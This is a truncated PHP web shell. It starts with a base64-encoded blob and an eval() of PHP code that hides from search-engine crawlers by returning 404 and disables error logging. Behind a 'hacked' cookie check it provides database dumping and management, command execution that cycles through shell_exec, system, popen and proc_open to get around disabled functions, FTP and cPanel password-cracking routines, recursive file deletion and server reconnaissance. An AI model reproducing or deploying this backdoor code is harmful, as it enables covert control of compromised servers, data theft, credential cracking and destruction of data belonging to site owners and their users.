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";
eval("?><?php\r\n@set_magic_quotes_runtime(0);\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set('max_execution_time',0);\r\n@ini_set('output_buffering',0);\r\n\r\nif(!empty(\$_SERVER['HTTP_USER_AGENT'])) \r\n{\r\n \$userAgents = array(\"Google\", \"Slurp\", \"MSNBot\", \"ia_archiver\", \"Yandex\", \"Rambler\");\r\n if(preg_match('/' . implode('|', \$userAgents) . '/i', \$_SERVER['HTTP_USER_AGENT'])) {\r\n header('HTTP/1.0 404 Not Found');\r\n exit; }\r\n}\r\n// Dump Database\r\nif(\$_GET[\"action\"] == \"dumpDB\")\r\n{\r\n\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\tif(isset(\$_COOKIE['dbserver']))\r\n\t{\r\n\t\t\$date = date(\"Y-m-d\");\r\n\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\r\n\t\t\$file = \"Dump-\$dbname-\$date\";\r\n\t\t\r\n\t\t\$file=\"Dump-\$dbname-\$date.sql\";\r\n\t\t\$fp = fopen(\$file,\"w\");\r\n\t\t\r\n\t\tfunction write(\$data) \r\n\t\t{\r\n\t\t\tglobal \$fp;\r\n\t\t\t\r\n\t\t\t\tfwrite(\$fp,\$data);\r\n\t\t\t\r\n\t\t}\r\n\t\tmysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\tmysql_select_db(\$dbname);\r\n\t\t\$tables = mysql_query (\"SHOW TABLES\");\r\n\t\twhile (\$i = mysql_fetch_array(\$tables)) \r\n\t\t{\r\n\t\t\t\$i = \$i['Tables_in_'.\$dbname];\r\n\t\t\t\$create = mysql_fetch_array(mysql_query (\"SHOW CREATE TABLE \".\$i));\r\n\t\t\twrite(\$create['Create Table'].\";\");\r\n\t\t\t\$sql = mysql_query (\"SELECT * FROM \".\$i);\r\n\t\t\tif (mysql_num_rows(\$sql)) {\r\n\t\t\t\twhile (\$row = mysql_fetch_row(\$sql)) {\r\n\t\t\t\t\tforeach (\$row as \$j => \$k) {\r\n\t\t\t\t\t\t\$row[\$j] = \"'\".mysql_escape_string(\$k).\"'\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\twrite(\"INSERT INTO \$i VALUES(\".implode(\",\", \$row).\");\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tfclose (\$fp);\r\n\t\t\r\n\t\theader(\"Content-Disposition: attachment; filename=\" . \$file); \r\n\t\theader(\"Content-Type: application/download\");\r\n\t\theader(\"Content-Length: \" . filesize(\$file));\r\n\t\tflush();\r\n\t\t\r\n\t\t\$fp = fopen(\$file, \"r\");\r\n\t\twhile (!feof(\$fp))\r\n\t\t{\r\n\t\t\techo fread(\$fp, 65536);\r\n\t\t\tflush();\r\n\t\t} \r\n\t\tfclose(\$fp); \r\n\t}\r\n}\r\nfunction shellstyle()\r\n{\r\n\techo \"<style type=\\\"text/css\\\">\r\n<!--\r\n\r\nbody,td,th {\r\n\tcolor: #FF0000;\r\n\tfont-size: 14px;\r\n}\r\ninput.but {\r\n background-color:#000000;\r\n color:#FF0000;\r\n border : 1px solid #1B1B1B;\r\n}\r\na:link {\r\n\tcolor: #00FF00;\r\n\ttext-decoration:none;\r\n\tfont-weight:500;\r\n}\r\na:hover {\r\n\tcolor:#00FF00;\r\n\ttext-decoration:underline;\r\n}\r\nfont.txt\r\n{\r\n\tcolor: #00FF00;\r\n\ttext-decoration:none;\r\n\tfont-size:14px;\r\n}\r\nfont.mainmenu\r\n{\r\n\tcolor:#FF0000;\r\n\ttext-decoration:none;\r\n\tfont-size:14px;\r\n}\r\na:visited {\r\n\tcolor: #006600;\r\n}\r\ninput.box\r\n{\r\n background-color:#0C0C0C;\r\n color: lime;\r\n border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:400;\r\n\tborder-radius:6px;\r\n}\r\ninput.sbox\r\n{\r\n background-color:#0C0C0C;\r\n color: lime;\r\n border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:180;\r\n\tborder-radius:6px;\r\n}\r\nselect.sbox\r\n{\r\n background-color:#0C0C0C;\r\n color: lime;\r\n border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:180;\r\n\tborder-radius:6px;\r\n}\r\nselect.box\r\n{\r\n background-color:#0C0C0C;\r\n color: lime;\r\n border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:400;\r\n\tborder-radius:6px;\r\n}\r\n\r\ntextarea.box\r\n{\r\n border : 3px solid #111;\r\n background-color:#161616;\r\n color : lime;\r\n margin-top: 10px;\r\n\t-moz-border-radius:7px;\r\n\tborder-radius:7px;\r\n}\r\nbody {\r\n\tbackground-color:#000000;\r\n}\r\n.myphp table\r\n{ \r\n\twidth:100%;\r\n\tpadding:18px 10px;\r\n\tborder : 1px solid #1B1B1B;\r\n} \r\n.myphp td\r\n{ \r\n\tbackground:#111111; \r\n\tcolor:#00ff00; \r\n\tpadding:6px 8px; \r\n\tborder-bottom:1px solid #222222;\r\n\tfont-size:14px; \r\n} \r\n.myphp th, th\r\n{ \r\n\tbackground:#181818; \r\n\t\r\n} \r\n-->\r\n</style>\";\r\n}\r\nif(isset(\$_COOKIE['hacked']) && \$_COOKIE['hacked']==md5(\$pass))\r\n{\r\n\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\$os = \"N/D\";\r\n\t\$bdmessage = null;\r\n\t\$dir = getcwd();\r\n\t\r\n\tif(stristr(php_uname(),\"Windows\"))\r\n\t{\r\n\t\t\$SEPARATOR = '\\\\';\r\n\t\t\$os = \"Windows\";\r\n\t\t\$directorysperator=\"\\\\\";\r\n\t}\r\n\telse if(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$os = \"Linux\";\r\n\t\t\$directorysperator='/';\r\n\t}\r\n\tfunction Trail(\$d,\$directsperator)\r\n\t{\r\n\t\t\$d=explode(\$directsperator,\$d);\r\n\t\tarray_pop(\$d);\r\n\t\tarray_pop(\$d);\r\n\t\t\$str=implode(\$d,\$directsperator);\r\n\t\treturn \$str;\r\n\t}\r\n\t\r\n\tfunction ftp_check(\$host,\$user,\$pass,\$timeout)\r\n\t{\r\n\t \$ch = curl_init();\r\n\t curl_setopt(\$ch, CURLOPT_URL, \"ftp://\$host\");\r\n\t curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t curl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n\t curl_setopt(\$ch, CURLOPT_FTPLISTONLY, 1);\r\n\t curl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\n\t curl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\n\t curl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\t \$data = curl_exec(\$ch);\r\n\t if ( curl_errno(\$ch) == 28 )\r\n\t {\r\n\t print \"<center><b>\r\n\t Error : Connection Timeout. \r\n\t Please Check The Target Hostname .</b></center>\";exit;\r\n\t }\r\n\t else if ( curl_errno(\$ch) == 0 )\r\n\t {\r\n\t print \"<center><b>[~]</b><font class=txt>\r\n\t Cracking Success With Username "</font><font color=\\\"#FF0000\\\">\$user</font><font color=\\\"#008000\\\">\\\"\r\n\t and Password \\\"</font><font color=\\\"#FF0000\\\">\$pass</font><font color=\\\"#008000\\\">\\\"</font></b></center><br><br>\";\r\n\t }\r\n\t curl_close(\$ch);\r\n\t}\r\n\t\r\n\tfunction cpanel_check(\$host,\$user,\$pass,\$timeout)\r\n\t{\r\n\t global \$cpanel_port;\r\n\t \$ch = curl_init();\r\n\t curl_setopt(\$ch, CURLOPT_URL, \"http://\$host:\" . \$cpanel_port);\r\n\t curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t curl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n\t curl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\n\t curl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\n\t curl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\t \$data = curl_exec(\$ch);\r\n\t if ( curl_errno(\$ch) == 28 )\r\n\t { print \"<center><b>Error : Connection Timeout. \r\n\t Please Check The Target Hostname.</b></center>\";exit;}\r\n\t else if ( curl_errno(\$ch) == 0 ){\r\n\t print \"<ecnter><b>[~]</b><font class=txt><b>\r\n\r\n\t Cracking Success With Username "</font><font color=\\\"#FF0000\\\">\$user</font><font color=\\\"#008000\\\">\\\"\r\n\tand Password \\\"</font><font color=\\\"#FF0000\\\">\$pass</font><font color=\\\"#008000\\\">\\\"</font></b></center><br><br>\";\r\n\t }\r\n\t curl_close(\$ch);\r\n\t}\r\n\r\n\t// Database functions\r\n\tfunction listdatabase()\r\n\t{\t\r\n\t\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\t?>\r\n\t\t<br>\r\n\t\t<form>\r\n\t\t<table>\r\n\t\t\t<tr>\r\n\t\t\t\t<td><input type=\"text\" class=\"box\" name=\"dbname\"></td>\r\n\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('createDB',dbname.value)\" value=\" Create Database \" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t</form>\r\n\t\t\t<br>\r\n\t\t<?php \r\n\t\t\$mysqlHandle = mysql_connect (\$_COOKIE['dbserver'], \$_COOKIE['dbuser'], \$_COOKIE['dbpass']);\r\n\t\t\$result = mysql_query(\"SHOW DATABASE\"); \r\n\t\techo \"<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\\n\";\r\n\r\n\t\t\$pDB = mysql_list_dbs( \$mysqlHandle );\r\n\t\t\$num = mysql_num_rows( \$pDB );\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t{\r\n\t\t\t\$dbname = mysql_dbname( \$pDB, \$i );\r\n\t\t\tmysql_select_db(\$dbname,\$mysqlHandle);\r\n\t\t\t\$result = mysql_query(\"SHOW TABLES\"); \r\n\t\t\t\$num_of_tables = mysql_num_rows(\$result);\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('listTables','\$dbname')\\\"><font size=3>\$dbname</font></a> (\$num_of_tables)</td>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('listTables','\$dbname')\\\">Tables</a></td>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('dropDB','\$dbname')\\\">Drop</a></td>\\n\";\r\n\t\t\techo \"<td><a href='\$self?action=dumpDB&dbname=\$dbname' onClick=\\\"return confirm('Dump Database \\'\$dbname\\'?')\\\">Dump</a></td>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t}\r\n\t\techo \"</table>\\n\";\r\n\t\tmysql_close(\$mysqlHandle);\r\n\t}\r\n\t\r\n\tfunction listtable()\r\n\t{\r\n\t\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\$dbname = \$_GET['dbname'];\r\n\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t ?>\r\n\t\t<br><br>\r\n\t\t<form>\r\n\t\t<table>\r\n\r\n\t\t\t<tr>\r\n\t\t\t\t<td><input type=\"text\" class=\"box\" name=\"tablename\"></td>\r\n\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('createtable','<?php echo \$_GET['dbname'];?>')\" value=\" Create Table \" name=\"createmydb\" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\r\n\t\t\t<br>\r\n\t\t\t<form>\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><textarea cols=\"60\" rows=\"7\" name=\"executemyquery\" class=\"box\">Execute Query..</textarea></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('executequery','<?php echo \$_GET['dbname'];?>','<?php echo \$_GET['tablename']; ?>','','',executemyquery.value)\" value=\"Execute\" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t\r\n\t\t<?php \r\n\t\t\r\n\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\r\n\t\tmysql_select_db(\$dbname);\r\n\t\t\$pTable = mysql_list_tables( \$dbname );\r\n\t\r\n\t\tif( \$pTable == 0 ) {\r\n\t\t\t\$msg = mysql_error();\r\n\t\t\techo \"<h3>Error : \$msg</h3><p>\\n\";\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\$num = mysql_num_rows( \$pTable );\r\n\t\r\n\t\techo \"<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\\n\";\r\n\t\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t{\r\n\t\t\t\$tablename = mysql_tablename( \$pTable, \$i );\r\n\t\t\t\$result = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\$num_rows = mysql_num_rows(\$result);\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewdata','\$dbname','\$tablename')\\\"><font size=3>\$tablename</font></a> (\$num_rows)\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewSchema','\$dbname','\$tablename')\\\">Schema</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewdata','\$dbname','\$tablename')\\\">Data</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('empty','\$dbname','\$tablename')\\\">Empty</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('dropTable','\$dbname','\$tablename')\\\">Drop</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t}\r\n\t\r\n\t\techo \"</table></form>\";\r\n\t\tmysql_close(\$mysqlHandle);\r\n\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\r\n\t}\r\n\t\t\r\n\t\r\n\tfunction paramexe(\$n, \$v) \r\n\t{\r\n\t\t\$v = trim(\$v);\r\n\t\tif(\$v) \r\n\t\t{\r\n\t\t\techo '<span><font size=3>' . \$n . ': </font></span>';\r\n\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\techo '<font size=2>' . \$v . '</font><br>';\r\n\t\t\telse\r\n\t\t\t\techo '<pre class=ml1><font class=txt size=3>' . \$v . '</font></pre>';\r\n\t\t}\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tfunction rrmdir(\$dir)\r\n\t{\r\n\t\tif (is_dir(\$dir)) // ensures that we actually have a directory\r\n\t\t{\r\n\t\t\t\$objects = scandir(\$dir); // gets all files and folders inside\r\n\t\t\tforeach (\$objects as \$object)\r\n\t\t\t{\r\n\t\t\t\tif (\$object != '.' && \$object != '..')\r\n\t\t\t\t{\r\n\t\t\t\t\tif (is_dir(\$dir . '/' . \$object))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// if we find a directory, do a recursive call\r\n\t\t\t\t\t\trrmdir(\$dir . '/' . \$object);\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// if we find a file, simply delete it\r\n\t\t\t\t\t\tunlink(\$dir . '/' . \$object);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// the original directory is now empty, so delete it\r\n\t\t\trmdir(\$dir);\r\n\t\t}\r\n\t} \r\n\t\t\t\t\t\r\n\tfunction which(\$pr)\r\n\t{ \r\n\t\t\$path = execmd(\"which \$pr\"); \r\n\t\tif(!empty(\$path)) \r\n\t\t\treturn trim(\$path); \r\n\t\telse \r\n\t\t\treturn trim(\$pr); \r\n\t}\r\n\t\r\n\tfunction magicboom(\$text)\r\n\t{ \r\n\t\tif (!get_magic_quotes_gpc()) \r\n\t\t\treturn \$text; \r\n\t\treturn stripslashes(\$text); \r\n\t}\r\n\t\r\nfunction execmd(\$cmd,\$d_functions=\"None\")\r\n{\r\n if(\$d_functions==\"None\") \r\n\t{\r\n\t\t\$ret=passthru(\$cmd); \r\n\t\treturn \$ret;\r\n\t}\r\n \$funcs=array(\"shell_exec\",\"exec\",\"passthru\",\"system\",\"popen\",\"proc_open\");\r\n \$d_functions=str_replace(\" \",\"\",\$d_functions);\r\n \$dis_funcs=explode(\",\",\$d_functions);\r\n foreach(\$funcs as \$safe)\r\n {\r\n if(!in_array(\$safe,\$dis_funcs)) \r\n {\r\n if(\$safe==\"exec\")\r\n {\r\n \$ret=@exec(\$cmd);\r\n \$ret=join(\"\\n\",\$ret);\r\n return \$ret;\r\n }\r\n elseif(\$safe==\"system\")\r\n {\r\n \$ret=@system(\$cmd);\r\n return \$ret;\r\n }\r\n elseif(\$safe==\"passthru\")\r\n {\r\n \$ret=@passthru(\$cmd);\r\n return \$ret;\r\n }\r\n elseif(\$safe==\"shell_exec\")\r\n {\r\n \$ret=@shell_exec(\$cmd);\r\n return \$ret;\r\n }\r\n elseif(\$safe==\"popen\")\r\n {\r\n \$ret=@popen(\"\$cmd\",'r');\r\n if(is_resource(\$ret))\r\n {\r\n while(@!feof(\$ret))\r\n \$read.=@fgets(\$ret);\r\n @pclose(\$ret);\r\n return \$read;\r\n }\r\n return -1;\r\n }\r\n elseif(\$safe=\"proc_open\")\r\n {\r\n \$cmdpipe=array(\r\n 0=>array('pipe','r'),\r\n 1=>array('pipe','w')\r\n );\r\n \$resource=@proc_open(\$cmd,\$cmdpipe,\$pipes);\r\n if(@is_resource(\$resource))\r\n {\r\n while(@!feof(\$pipes[1]))\r\n \$ret.=@fgets(\$pipes[1]);\r\n @fclose(\$pipes[1]);\r\n @proc_close(\$resource);\r\n return \$ret;\r\n }\r\n return -1;\r\n }\r\n }\r\n }\r\n return -1;\r\n}\r\n\r\n\tfunction getDisabledFunctions()\r\n\t{\r\n\t\tif(!ini_get('disable_functions'))\r\n\t\t{\r\n\t\t\treturn \"None\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\treturn @ini_get('disable_functions');\r\n\t\t}\r\n\t}\r\n\t\r\n\tfunction getFilePermissions(\$file)\r\n\t{\r\n\t\$perms = fileperms(\$file);\r\n\t\r\n\tif ((\$perms & 0xC000) == 0xC000) {\r\n\t\t// Socket\r\n\t\t\$info = 's';\r\n\t} elseif ((\$perms & 0xA000) == 0xA000) {\r\n\t\t// Symbolic Link\r\n\t\t\$info = 'l';\r\n\t} elseif ((\$perms & 0x8000) == 0x8000) {\r\n\t\t// Regular\r\n\t\t\$info = '-';\r\n\t} elseif ((\$perms & 0x6000) == 0x6000) {\r\n\t\t// Block special\r\n\t\t\$info = 'b';\r\n\t} elseif ((\$perms & 0x4000) == 0x4000) {\r\n\t\t// Directory\r\n\t\t\$info = 'd';\r\n\t} elseif ((\$perms & 0x2000) == 0x2000) {\r\n\t\t// Character special\r\n\t\t\$info = 'c';\r\n\t} elseif ((\$perms & 0x1000) == 0x1000) {\r\n\t\t// FIFO pipe\r\n\t\t\$info = 'p';\r\n\t} else {\r\n\t\t// Unknown\r\n\t\t\$info = 'u';\r\n\t}\r\n\r\n\t// Owner\r\n\t\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0040) ?\r\n\t\t\t\t((\$perms & 0x0800) ? 's' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0800) ? 'S' : '-'));\r\n\t\r\n\t// Group\r\n\t\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0008) ?\r\n\t\t\t\t((\$perms & 0x0400) ? 's' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0400) ? 'S' : '-'));\r\n\t\r\n\t// World\r\n\t\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0001) ?\r\n\t\t\t\t((\$perms & 0x0200) ? 't' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0200) ? 'T' : '-'));\r\n\t\r\n\treturn \$info;\r\n}\r\n\tfunction filepermscolor(\$filename)\r\n\t{\r\n\t\tif(!@is_readable(\$filename)) \r\n\t\t\treturn \"<font color=\\\"#FF0000\\\">\".getFilePermissions(\$filename).\"</font>\"; \r\n\t\telse if(!@is_writable(\$filename)) \r\n\t\t\treturn \"<font color=\\\"#FFFFFF\\\">\".getFilePermissions(\$filename).\"</font>\";\r\n\t\telse\r\n\t\t\treturn \"<font color=\\\"#00FF00\\\">\".getFilePermissions(\$filename).\"</font>\";\r\n\t}\r\n\r\n\tfunction yourip()\r\n\t{\r\n\t\techo \$_SERVER[\"REMOTE_ADDR\"];\r\n\t}\r\n\tfunction phpver()\r\n\t{\r\n\t\t\$pv=@phpversion();\r\n\t\techo \$pv;\r\n\t}\r\n\tfunction magic_quote()\r\n\t{\r\n\t\techo get_magic_quotes_gpc()?\"<font class=txt>ON</font>\":\"<font color='red'>OFF</font>\";\r\n\t}\r\n\tfunction serverip()\r\n\t{\r\n\t\techo getenv('SERVER_ADDR');\r\n\t}\r\n\tfunction serverport()\r\n\t{\r\n\t\techo \$_SERVER['SERVER_PORT'];\r\n\t}\r\n\tfunction safe()\r\n\t{\r\n\t\tglobal \$sm;\r\n\t\treturn \$sm?\"ON :( :'( (Most of the Features will Not Work!)\":\"OFF\";\r\n\t}\r\n\tfunction serveradmin()\r\n\t{\r\n\t\techo \$_SERVER['SERVER_ADMIN'];\r\n\t}\r\n\tfunction systeminfo()\r\n\t{\r\n\t\techo php_uname();\r\n\t}\r\n\tfunction curlinfo()\r\n\t{\r\n\t\techo function_exists('curl_version')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction oracleinfo()\r\n\t{\r\n\t\techo function_exists('ocilogon')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction mysqlinfo()\r\n\t{\r\n\t\techo function_exists('mysql_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction mssqlinfo()\r\n\t{\r\n\t\techo function_exists('mssql_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction postgresqlinfo()\r\n\t{\r\n\t\techo function_exists('pg_connect')?(\"<font class=txt>Enabled</font>\"):(\"<font color='red'>Disabled</font>\");\r\n\t}\r\n\tfunction softwareinfo()\r\n\t{\r\n\t\techo getenv(\"SERVER_SOFTWARE\");\r\n\t}\r\n\tfunction 